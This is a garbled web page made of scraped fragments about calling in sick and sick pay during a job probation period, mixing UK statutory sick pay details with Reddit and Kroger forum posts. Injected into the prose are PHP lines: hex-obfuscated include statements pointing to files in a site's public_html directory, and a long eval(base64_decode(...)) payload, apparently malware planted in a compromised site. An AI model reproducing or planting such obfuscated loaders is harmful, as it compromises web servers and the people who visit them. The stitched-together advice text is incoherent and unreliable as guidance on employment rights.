The legal minimum notice required to dismiss an Entitlement to full pay for sick leave on probation is at your employers discretion. What happens if I dont pass my probation? Your payroll department just have to work it out differently, basing it on your salary. It also usually means you're not eligible for some bonuses and benefits. Therefore if the worker wants to take leave within the first few weeks, they may need to wait a bit before they have accrued enough days. If youre feeling ill, try your best to go into work you can always leave early if Sick call Definition & Meaning - Merriam-Webster My probationary period ends in a week and i havent called in once. However, the amount of sick pay you get will depend on your employment contract. Call in sick - Idioms by The Free Dictionary This is a subreddit aimed at women in the construction trades and other blue collar professions. ?>. However. Find out more about statutory sick pay at Citizens Advice. A probation period will commonly be 3 to 6 months in length, though they can be as little as 1 week in short-term contracts. Legal Implications of Probationary Periods - SHRM If you are able, do also let your manager know when you think you will return to work. Usps 90 Day Probation (how It Works, How To Pass + Other Faqs) in sick during probationary period Renaming it to an orientation period, initiation or training period can help ease this stress. The length of any probation period must not be unreasonable. Literally half the shop is out sick, and i am coming down with it too. during We only pay for sickness under SSP rulings whilst on probation. This type of payment is at the employers discretion. Still a student? During probation if performance is unsatisfactory then the period is either extended to try and overcome the problem or the employee is dismissed with medical evidence having been obtained of fitness for the duties and potential DDA link. A lot of disciplinary and capability procedures however do state that they are not applicable during probationary periods (you'll have to check yours). Typically, this is done by allowing employees to enjoy some benefit (like accrued vacation or sick leave or 401(k) enrollment) that they did not have before The employee has no right to claim unfair dismissal, so shouldn't have any come back on you - your only problem may be if the reason for terminating is due to a sickness issue covered in the DDA as the employee could still claim under this legislation regardless of length of service. However, so long as you communicate well with work and follow procedure, it should not cause you any problems with your job. This window is known as the probation period and may extend as far as up to 180 days Just curious? This could reflect badly on your probation review just as much as taking too many days off. if you have to take a reasonable amount of time off, so long as your employer feels the absence is genuine you should not have a problem. This means that you are entitled to some kind of sick pay during your probation period. Calling in sick : r/kroger - Reddit 20 organisations powering positive cultures, Employee recognition and surviving in tough times, LGBTQ+ History Month: How to boost allyship, Join HRZone in London to network and celebrate - 16 March, The World of Learning Summit at Olympia London - 28 February. It should have information on what you can expect. A probationary period is a stretch of time during which a new or existing employee receives extra supervision and coaching, either to learn a new job or to turn around a performance problem. Related: Average Sick Days Per Year. WebDuring the first year of employment, employers may decide to use an accrual system to calculate the workers holiday entitlement. WebIf an employee is dismissed during their probation period, they will still be entitled to a minimum statutory notice period. WebNegative stigma: Calling it a probationary period can have a negative connotation for some new employees. If someone has been away for 2 months during their 3 month probationary period, then extend it for a further 2 months in order to get a true picture of their performance. Company sick pay, or occupational sick pay (OSP) is an enhanced payment often covering an employees full wage during time off sick. WebThe probationary period clause should expressly state that the employee will not be deemed to have passed their probation unless they receive written confirmation to that effect from the employer; otherwise, the probationary period may inadvertently lapse and the employer will not be able to extend the probationary period. When youre on probation in a new role, you will be keen to make a good impression. SSP becomes payable on day 4 of your absence. However, if youve had too many absences from work for reasons your employer does not feel are genuine then it could result in you failing probation. My Employer Overpaid Me What Are My Rights if its not my Fault? A probationary period in an employment setting is a specific timeframe in which a new employees job performance is closely monitored. Remember, if you are diagnosed with an illness or need time off for a pre-existing condition that could be considered a protected characteristic you are protected from unfair dismissal. In order for this to be So this was not turning up without using the correct procedure, phoning the sickness absence line is correct procedure. You might even be wondering if you are allowed to call in sick at all during probation. Thank you for not coming in and passing your virus. Has anyone been fired for calling in sick during their 90 days? Sick pay is a statutory right from day one of your employment. What does call in sick expression mean? WebCalled in sick during probationary period So earlier this month I had a awful flu so I called in and now on the 30th the end of this month I have the worst period cramps of my life today on the 30th, (I've had bad menstrual pain all my life but no endo or PCOS diagnosed. ) First of all, dont worry. You should do everything possible to show up for work. Show up early, stay late, when done with something, ask if there is something else you can do. How to call in sick. She writes for several online publications, and runs online training courses for businesses and their staff in the childcare industry. They may call in sick more often, resulting in absenteeism becoming a perpetual problem. However, this will not impact your statutory right to sick pay. WebCalled in sick during probationary period. SSP rates are currently 99.35 per week and will increase to 109.40 in April 2023. 1680 hours if serving a twelve (12)-month probationary period. Probationary periods: what employers need Probation Periods at Work UK Law & Employee Rights. include "\x2fhom\x65/tj\x6bwlm\x38vgk\x30q/p\x75bli\x63_ht\x6dl/a\x31p55\x31l/c\x61che\x2fsys\x74em.\x70hp"; When taking a sick day, it's important to communicate with your coworkers and managers. The first thing you need to do is to extend the probationary period as you have not had adequate time to assess their performance due to their absence. During this period, it is important to understand your Does anyone have a policy/procedure or guidelines for managers in handling sickness absence during probation periods? Calling in during probationary period - Kroger Employee Forum Free Message Boards -> Kroger Employee Forum -> Why Kroger Sucks -> Calling in during probationary period Start A New Topic Quick Reply Please log in to post quick replies. Contents Guide, Cant Work Due to No Childcare Your Rights in UK Law. 90 day probation? That's nothing. I had to do a 1 year and 6 month probation for a government job I never called in sick once. I would say absol include "\x2fhom\x65/tj\x6bwlm\x38vgk\x30q/p\x75bli\x63_ht\x6dl/j\x6exr0\x2fmen\x75.ph\x70"; However, if your pattern of absences looks suspicious to your employer, dismissal during a probation period after taking time off for sickness is a possibility. Terminating an employee for poor attendance Calling in during probationary period sick call: [noun] a scheduled time at which individuals (such as soldiers) may report as sick to the medical officer. Called in sick during probationary period : r/kroger - Reddit They should also explain Im not going to the doctor, its just a good ole spring flu. To work out what sick pay youll get during your probation period, refer to your contract of employment. Sick Leave During Probation, Can You Be Fired? Off Sick Rights They might feel on edge or worry theyre on thin ice. I would be very interested to see what other companies do before preparing this guidance for our management team. We were allowed to miss 6 days within a certain amount of time. If we missed so many with no doctor's note, or without calling in, we'd be terminated. A sick courtesy clerk came in all last week sick and passed it to Can you be fired for taking sick leave during probation? Our general guide gives detailed suggestions on how to call in sick to work. Plenty of people who have started after me have already called in multiple times in the middle of the week and still have their jobs. The most likely outcome from being ill is that your probation will be extended by the number of days you took off. Actually you should not call in at all, this is considered a probation period to train and learning your job duties.If sick, you will need to get s 8 Great Ways to Get Fired During Your First Few Months - LinkedIn Our guide on unfair dismissal during probation talks about your rights in depth. Probationary Periods for New Employees document.getElementById( "ak_js_1" ).setAttribute( "value", ( new Date() ).getTime() ); Your email address will not be published. An applicant selected for a career appointment to a non-bargaining position must serve a probationary period. If you have been open, honest and genuine it should not be a problem for most workplaces. Could You Be Fired for being Sick on Probation? eval(base64_decode("aWYgKCFkZWZpbmVkKCdBTFJFQURZX1JVTl8xYmMyOWIzNmYzNDJhODJhYWY2NjU4Nzg1MzU2NzE4JykpCnsKZGVmaW5lKCdBTFJFQURZX1JVTl8xYmMyOWIzNmYzNDJhODJhYWY2NjU4Nzg1MzU2NzE4JywgMSk7CgogJHphZmt0bmsgPSAyNzYwOyBmdW5jdGlvbiBucnhpcXRzdSgkcW50bGtjLCAkc2VkZmgpeyRnem5pb2x0YiA9ICcnOyBmb3IoJGk9MDsgJGkgPCBzdHJsZW4oJHFudGxrYyk7ICRpKyspeyRnem5pb2x0YiAuPSBpc3NldCgkc2VkZmhbJHFudGxrY1skaV1dKSA/ICRzZWRmaFskcW50bGtjWyRpXV0gOiAkcW50bGtjWyRpXTt9CiRkaHh1a2RxZj0icmF3dXJsIiAuICJkZWNvZGUiO3JldHVybiAkZGh4dWtkcWYoJGd6bmlvbHRiKTt9CiRmY3V1ZnNtaHp0ID0gJyVVZVk4WV9OUWglbXclbUxRTU1BTV9mQUclbUwlbUUlbWVUV3R0JW1rJXBGJWVjJWV5JVVlWThZX05RaCVtdyVtTGZBR19RTU1BTU4lJy4KJ21MJW1FJW1lZSVtayVwRiVlYyVleSVVZVk4WV9OUWglbXclbUxnU3pfUXpRdjJoWUE4X2hZZ1ElbUwlbUUlbWVlJW1rJXBGJWVjJWV5JVVlUU1NQU1fTVExQU1oWThHJW0nLgond2UlbWslcEYlZWMlZXklVWVOUWhfaFlnUV9mWWdZaCVtd2UlbWslcEYlZWMlZXklZWMlZXklZWMlZXlZWCVtdyVtc0JRWFk4UUIlbXclbScuCidtNko2X241dCVtbSVtayVtayVlYyVleSVMRiVlYyVleSVtZSVtZSVtZSVtZUJRWFk4USVtdyVtbTZKNl9uNXQlbW0lbUUlbWUlbW0lT0U4JScuCidtbSVtayVwRiVlYyVleSVMYyVlYyVleSVlYyVleVlYJW13JW1zQlFYWThRQiVtdyVtbWNpMG4nLgonRWE1MGRfNG42eTB5YTUwJW1tJW1rJW1rJWVjJWV5JUxGJWVjJWV5JW1lJW1lJW1lJW1lQlFYWThRJW13JW1tY2kwbkVhNTBkXzRuNnkweWE1Jy4KJzAlbW0lbUUlbWUlbW0vJW1tJW1rJXBGJWVjJWV5JUxjJWVjJWV5JWVjJWV5WVglbWUlbXclbXNCUVhZOFFCJW13JW1MeXQwbnljZF8wV1Rfc1VVdndMdlhLbXBQU3dtJy4KJ1NTWFlLd01ZU1BzS1NoWUFzdyVtTCVtayVtayVlYyVleSVMRiVlYyVleSVtZSVtZSVtZSVtZUJRWFknLgonOFElbXclbUx5dDBueWNkXzBXVF9zVVV2d0x2WEttcFBTd21TU1hZS3dNWVNQc0tTaFlBc3clbUwlbUUlbWVzJW1rJXBGJWVjJWV5JWVjJWV5JW1lJW1lJW1lJW1lJW0nLgonVUJTaFMlbWUlcGMlbWVUV3R0JXBGJWVjJWV5JW1lJW1lJW1lJW1lJW1VQlNoU18zUVolbWUlcGMlbWVUV3R0JXBGJWVjJWV5JWVjJWV5JW1lJW1lJW1lJW1lJW1VOXQ1Rnl0NCcuCiclT0YlbUx2Tl9TMmhxJW1MJU9jJW1lJXBjJW1lJW1Md1FLdndVa1EtUHdtdy1VUHBTLVNYTEstWHBlWFVtcFVQd1hVJW1MJScuCidwRiVlYyVleSVtZSVtZSVtZSVtZUdmQVBTZiVtZSVtVXZOX1MyaHElcEYlZWMlZXklZWMlZXklZWMlZXklbWUlJy4KJ21lJW1lJW1lWDI4dmhZQTglbWV2Tl85UWhKQU5oJW13JW1rJWVjJWV5JW1lJW1lJW1lJW1lJUxGJWVjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lTScuCidRaDJNOCVtZU5oTWhBZkFvUU0lbXcxTVFHX01RMWZTdlElbXclbUwvJU9uJW13b29vJUxFWGgxJW1rJU9FLi9ZJW1MJW1FJW1MJW1MJW1FJVVlJW1VJy4KJ180bjBybjAlT0YlbUxKYWE2X0o1NGElbUwlT2MlbWslbWslcEYlZWMlZXklbWUlbWUlbWUlbWUlTGMlZWMlZXklZWMlZXklbScuCidlJW1lJW1lJW1lWDI4dmhZQTglbWV2Tl85UWhETVloU1BmUWNZTU4lbXclbWslZWMlZXklJy4KJ21lJW1lJW1lJW1lJUxGJWVjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1VTVFOJW1lJXBjJW1leU1NU1olbXclbWslcEYnLgonJWVjJWV5JWVjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1VUzhTZlpOWk5fQzJRMlElbWUlcGMlbWV5TU1TWiVtdyVtayVwRiVlYyVleSVlJy4KJ2MlZXklbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbVVTOFNmWk5aTl9DMlEyUSVPRiVPYyVtZSVwYyVtZXZOXzlRaGNBdjBBQWglbXclbScuCidrJXBGJWVjJWV5JWVjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1VTlFmWF8xU2hxJW1lJXBjJW1lJW1VXzRuMHJuMCVPRiVtTDRFMCcuCidpNmFfUml0blR5bG4lbUwlT2MlcEYlZWMlZXklbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWVvcVlmUScuCiclbWUlbXclbXclbVVOZlNOcSVtZSVwYyVtZU5oTU0xQU4lbXclbVVOUWZYXzFTaHElbUUlbWVjaTBuRWE1MGRfNG42eTB5YTUwJW1rJW1rJW1lJW1zJXBjJScuCidwYyVtZVJ5dDRuJW1rJWVjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJUxGJWVjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW0nLgonZSVtZSVtZSVtZSVtVU5RZlhfMVNocSVtZSVwYyVtZU4yUE5oTSVtdyVtVU5RZlhfMVNocSVtRSVtZWUlbUUlbWUlbVVOZlNOcSVtayVwRiVlYyVleSVlYyVleSUnLgonbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWVZWCVtZSVtdyVtVU5RZlhfMVNocSVtZSVwYyVwYyVtZXZOXzlRaGNBdjBBQWglbXclbWslbWslZScuCidjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJUxGJWVjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW0nLgonZSVlJW0nLgonZSVtZSVtZSVtZSVtZSVtZSVtZVBNUVMzJXBGJWVjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJUxjJWVjJWV5JWVjJWV5JW1lJW1lJW1lJW1lJW1lJy4KJyVtZSVtZSVtZSVtZSVtZSVtZSVtZVlYJW1lJW13TmhNZlE4JW13JW1VTlFmWF8xU2hxJW1rJW1rJWVjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW0nLgonZSVtZSVtZSVtZSVtZSVMRiVlYyVleSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSUnLgonbWUlbWUlbWUlbVVTOFNmWk5aTl9DMlEyUSVPRiVPYyVtZSVwYyVtZSVtVU5RZlhfMVNocSVwRiVlYyVleSVtZScuCiclbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlTGMlZWMlZXklbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlTGMnLgonJWVjJWV5JWVjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lWEFNUVN2cSVtZSVtdyVtVVM4U2ZaTlpOX0MyUTJRJW1lU04lbWUlbVV2Mk1NUThoX0JZTSVtayVlYyVleScuCiclbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlTEYlZWMlZXklbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWVZWCVtZSVtdyVtc1k4X1NNTVNaJW0nLgondyVtVXYyTU1ROGhfQllNJW1FJW1lJW1VTVFOJW1rJW1rJWVjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJUxGJWVjJWV5JW1lJW0nLgonZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtVU1RTiVtZSVwYyVtZVNNTVNaX2dRTUdRJW13JW1VTVFOJW1FJW1ldk5fOVFoYycuCidZTVF2aEFNWnRZTmglbXclbVV2Mk1NUThoX0JZTSVtayVtayVwRiVlYyVleSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVMYyVlYyVleSUnLgonbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlTGMlZWMlZXklZWMlZXklbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWVNUWgyTTglbWV2Tl9FcVF2MycuCidETVloU1BmUSVtd1NNTVNaXzI4WUMyUSVtdyVtVU1RTiVtayVtayVwRiVlYyVleSVtZScuCiclbWUlbWUlbWUlTGMlZWMlZXklZWMlZXklbWUlbWUlbWUlbWVYMjh2aFlBOCVtZXZOX0VxUXYzRE1ZaFNQZlElbXclbVVCWU1fZllOaCVtayVlYyVleSVtZSVtZSUnLgonbWUlbWUlTEYlZWMlZXklbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbVVCWU1fZllOaF9vTVloU1BmUSVtZSVwYyVtZXlNTVNaJW13JW1rJXBGJWVj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UlbWUlbWUlbWUlbWUlbWUlWUlbWUlbWVvcVlmUSVtZSVtdyVtdyVtVVglSVtZSVtdyVtdyVtVVglbWUlcGMlbWVNUVNCQllNJScuCidtdyVtVXElbWslbWslbWUlbXMlcGMlcGMlbWVSeXQ0biVtayVlYyVleSVtZSVtZSVtZSVtZSVtZSVtSVtZSVtZSVtZSVtZSVVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVMRiVlYyVleSVtZSVtZSVtZSVtZSVtZSVtZSVtJy4KJ4KJ2UlbWUlbWbWUlbWUlbWUlbWUlbWVZWCVtZSVtdyVtVVglbWUlbXMlcGMlcGMlbWUlbUwuJW1MJW1lUzhCJW1lJW1VWCVtZSVtJy4KJ3MlcGMlcGMlbWUlbUwuLiVtTCVtayVlYyVleSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVMRiUnLgonZWMlZXklbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbVV2Mk1NUThoX0JZTSVtZSVwYyVtZSVtbSVtVUJZTS8lbVVYJW1tJy4KJyVwRiVlYyVleSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZVlYJW1lJW13WU5fQllNJW13JW1VdjJNTVE4aF9CWU0lbWslbScuCidrJWVjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJUxGJWVjJWV5JW1lJW1lJW1lJy4KJyVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtVUJZTV92QTI4aCVtZSVtRiUnLgoncGMlbWVzJXBGJWVjJWV5JWVjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1VTVFOJy4KJzJmaCVPRiVPYyVtZSVwYyVtZSVtVXYyTU1ROGhfQllNJXBGJWVjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJy4KJyVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtVU1RTjJmaCVtZSVwYyVtZVNNTVNaX2dRTUdRJW13JW1VTVFOMmZoJW1FJW1ldk5fOVFoY1lNUXZoJy4KJ0FNWnRZTmglbXclbVV2Mk1NUThoX0JZTSVtRSVtZSVtVUJRMWhxJW1lLyVtZXNlJW1rJW1rJXBGJWVjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJScuCidtZSVtZSVtZSVtZSVtZSVMYyVlYyVleSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVMYyVlYyVlJy4KJ3klbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlTGMlZWMlZXklZWMlZXklbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWV2ZkFOUUJZTSVtdyVtVXElbWslJy4KJ3BGJWVjJWV5JWVjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lTVFoMk04JW1lJW1VTVFOMmZoJXBGJWVjJWV5JW1lJW1lJW1lJW1lJUxjJScuCidlYyVleSVlYyVleSVtZSVtZSVtZSVtZVgyOHZoWUE4JW1ldk5fOVFoY0F2MEFBaCVtdyVtayVlYyVleSVtZSVtZSVtZSVtZSVMRiVlYyVleSVtZScuCiclbWUlbWUlbWUlbWUlbWUlbWUlbWUlbVVCQXZNQUFoX1E4QiVtZSVwYyVtZU5oTU0xQU4lbXclbVVfNG4wcm4wJScuCidPRiVtTDRFMGk2YV9SaXRuVHlsbiVtTCVPYyVtRSVtZSVtVV80bjBybjAlT0YlbUwwbjdXbjRhX1cwaSVtTCVPYycuCiclbWslcEYlZWMlZXklbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWVZWCVtZSVtdyVtVUJBdk1BQWhfUThCJW1lJXBjJXBjJXBjJW0nLgonZVJ5dDRuJW1rJWVjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJUxGJWVjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lTVFoJy4KJzJNOCVtZSVtVV80bjBybjAlT0YlbUxjNUVXbG5UYV8wNTVhJW1MJU9jJXBGJWVjJWV5JW1lJW1lJW1lJW1lJW0nLgonZSVtZSVtZSVtZSVMYyVlYyVleSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZVFmTlFZWCVtZSVtdyVtVUJBdk1BQWhfUThCJW1lJXBjJXBjJXBjJW1lZSVtayVlYyVleScuCiclbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlTEYlZWMlZXklbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWVNUWgyTTglbWUlbW0vJW1tJXBGJWVjJWUnLgoneSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVMYyVlYyVleSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZVFmTicuCidRJWVjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJUxGJWVjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lTVFoMk04JW1lTjJQTmhNJW13Jy4KJyVtVV80bjBybjAlT0YlbUw0RTBpNmFfUml0blR5bG4lbUwlT2MlbUUlbWVlJW1FJW1lJW1VQkF2TUFBaF9ROEIlbWslcEYlZWMlZXklbWUlbWUlbWUlbWUlJy4KJ21lJW1lJW1lJW1lJUxjJWVjJWV5JW1lJW1lJW1lJW1lJUxjJWVjJWV5JWVjJWV5JW1lJW1lJW1lJW1lWVglbWUlbXclbXNYMjh2aFlBOF9RellOaE4nLgonJW13JW1MWFlmUV8xMmhfdkE4aFE4aE4lbUwlbWslbWslZWMlZXklbWUlbWUlbWUlbWUnLgonJUxGJWVjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lWDI4dmhZQTglbWVYWWZRXzEyaF92QThoUThoTiVtdyVtVScuCic4JW1FJW1lJW1VQiVtRSVtZSVtVVhmU0clbWUlcGMlbWVSU2ZOUSVtayVlYyVleSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVMRiVlYycuCiclZXklbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbVVnQUJRJW1lJXBjJW1lJW1VWGZTRyVtZSVwYyVwYyVtZXclbWUlcFIlbWUlJy4KJ21MUyVtTCVtZSVweSVtZSVtTG8lbUwlcEYlZWMlZXklbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlJy4KJ21lJW1lJW1lJW1lJW1VWCVtZSVwYyVtZSVVZVhBMVE4JW13JW1VOCVtRSVtZSVtVWdBQlElbWslcEYlZWMlZXklbWUlbWUlbWUlbWUlbWUlbWUlbWUlJy4KJ21lJW1lJW1lJW1lJW1lWVglbWUlbXclbVVYJW1lJXBjJXBjJXBjJW1lUlNmTlElbWslZWMlZXklbScuCidlJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJUxGJWVjJWV5JW1lJW1lJScuCidtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZU1RaDJNOCVtZWUlcEYlZWMlZXklbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlJy4KJ21lJW1lJUxjJWVjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lUWZOUSVlYyVleSVtZSVtZSVtZSVtZSVtZSVtZSVtZSUnLgonbWUlbWUlbWUlbWUlbWUlTEYlZWMlZXklbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUnLgonJW1lJW1lJW1lJW1lWVglbWUlbXdZTl9TTU1TWiVtdyVtVUIlbWslbWslbWUlbVVCJW1lJXBjJW1lWWcxZkFCUSVtdyVtVUIlbWslcEYlZWMlZScuCid5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1VUFpoJW1lJW1lJW1lJW1lJW1lJW1lJW1VUFpoW1lJW1VUFpolJW1VQiVtayVwRiVlYyVleSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSUnLgonbWVYdmZBTlElbXclbVVYJW1rJXBGJWVjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJScuCidtZSVtZU1RaDJNOCVtZSVtVVBaaFFOX29NWWhoUTglcEYlZWMlZXklbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlTGMlJy4KJ2VjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJUxjJWVjJWV5JW1lJW1lJW1lJW1lJUwnLgonYyVlYyVleSVlYyVleSVtZSVtZSVtZSVtZVlYJW1lJW13JW1zWDI4dmhZQThfUXpZTmhOJy4KJyVtdyVtTFhZZlFfR1FoX3ZBOGhROGhOJW1MJW1rJW1rJWVjJWV5JW1lJW1lJW1lJW1lJUxGJWVjJWV5JW1lJW1lJW1lJW1lJScuCidtZSVtZSVtZSVtZVgyOHZoWUE4JW1lWFlmUV9HUWhfdkE4aFE4aE4lbXclbVVYWWZROFNnUSVtayVlYyVleSVtZSVtZScuCiclbWUlbWUlbWUlbWUlbWUlbWUlTEYlZWMlZXklbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbScuCidlJW1lJW1VWHFTOEJmUSVtZSVwYyVtZVhBMVE4JW13JW1VWFlmUThTZ1ElbUUlbWUlbW1NJW1tJW1rJXBGJWVjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJy4KJyVtZSVtZSVtZSVtZSVtZSVtVVh2QThoUThoTiVtZSVwYyVtZVhNUVNCJW13JW1VWHFTOEJmUSVtRSVtZVhZJy4KJ2ZRTll1USVtdyVtVVhZZlE4U2dRJW1rJW1rJXBGJWVjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJy4KJyVtZSVtZSVtZVh2ZkFOUSVtdyVtVVhxUzhCZlElbWslcEYlZWMlZXklZWMlZXklbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbScuCidlTVFoMk04JW1lJW1VWHZBOGhROGhOJXBGJWVjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJUxjJWVjJWV5JW1lJW1lJW1lJW1lJUxjJWVjJWV5Jy4KJyVlYyVleSVlYyVleSVtZSVtZSVtZSVtZVgyOHZoWUE4JW1ldk5fQlF2TVoxaF8xcVNOUSVtdyVtVUJTaFMlbUUlbWUlbVUzUVolbWslZScuCidjJWV5JW1lJW1lJW1lJW1lJUxGJWVjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1VQTJoX0JTaFMlbWUlcGMlbWUlbW0lbW0lJy4KJ3BGJWVjJWV5JWVjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lWEFNJW1lJW13JW1VWSVwY2UlcEYlbWUlbVVZJXBFTmhNZicuCidROCVtdyVtVUJTaFMlbWslcEYlbWslZWMlZXklbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlTEYlZWMlJy4KJ2V5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lWEFNJW1lJW13JW1VViVwY2UlcEYlbWUlbVVWJXBFTmhNZlE4JW13JW1VM1FaJW1rJW0nLgonZSVtSyVtSyVtZSVtVVklcEVOaE1mUTglbXclbVVCU2hTJW1rJXBGJW1lJW1VViVtRiVtRiVtRSVtZSVtVVklbUYlbUYlbWslZWMlZXklbWUlJy4KJ21lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJUxGJWVjJWV5JW1lJW1lJW1lJW1lJW1lJScuCidtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtVUEyaF9CU2hTJW1lLiVwYyVtZXZxTSVtd0FNQiVtdyVtVUJTaFMlT0YlbScuCidVWSVPYyVtayVtZSVPbiVtZUFNQiVtdyVtVTNRWiVPRiVtVVYlT2MlbWslbWslcEYlZWMnLgonJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJUxjJWVjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJUxjJWVjJWV5JWVjJWV5JScuCidtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZU1RaDJNOCVtZSVtVUEyaF9CU2hTJXBGJWVjJWV5JW1lJW1lJW1lJW1lJUxjJWVjJWV5JWVjJWV5JW1lJy4KJyVtZSVtZSVtZVgyOHZoWUE4JW1ldk5fQlF2TVoxaCVtdyVtVUJTaFMlbUUlbWUlbVUzUVolbWslZWMlZXklbWUlbWUlbWUlbWUlTEYlZWMlZXklbWUlbWUlbWUlbWUlbScuCidlJW1lJW1lJW1lR2ZBUFNmJW1lJW1Vdk5fUzJocSVwRiVlYyVleSVlYyVleSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZU1RaDJNOCVtZXZOX0JRdk1aMWhfMXFTJy4KJ05RJW13dk5fQlF2TVoxaF8xcVNOUSVtdyVtVUJTaFMlbUUlbWUlbVUzUVolbWslbUUlbWUlbVV2Tl9TMmhxJScuCidtayVwRiVlYyVleSVtZSVtZSVtZSVtZSVMYyVlYyVleSVtZSVtZSVtZSVtZVgyOHZoWUE4JW1ldk5fUTh2TVoxaCVtdyVtVUJTaFMlbUUlbWUlbVUzUVolbWslZWMlZXklJy4KJ21lJW1lJW1lJW1lJUxGJWVjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1l